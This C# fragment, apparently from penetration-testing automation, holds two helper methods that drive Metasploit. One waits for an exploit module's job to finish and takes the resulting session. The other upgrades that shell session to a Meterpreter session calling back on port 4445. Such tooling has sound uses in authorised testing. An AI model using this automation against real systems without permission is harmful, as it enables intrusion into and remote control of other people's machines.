public static async Task<string> ObtainSession( this IMetasploitProvider metasploit, string moduleName, string jobId) { var response = await metasploit.ListJobs(); var vals = new List<object>(response.Values); while (vals.Any(v => ((string)v).Contains(moduleName))) { Delay.Small(); response = await metasploit.ListJobs(); vals = new List<object>(response.Values); } await metasploit.StopJob(jobId); response = await metasploit.ListSessions(); return response.First().Key; }
public static async Task<string> ObtainMeterpreter( this IMetasploitProvider metasploit, string sessionId) { await metasploit.UpgradeShellToMeterpreter(sessionId, metasploit.MetasploitAddress, "4445"); Delay.Small(); var sessions = await metasploit.ListSessions(); foreach (var session in sessions) { var id = session.Key; var dict = (Dictionary<string, object>)session.Value; if (dict["type"] as string == "meterpreter") { return id; } } return null; }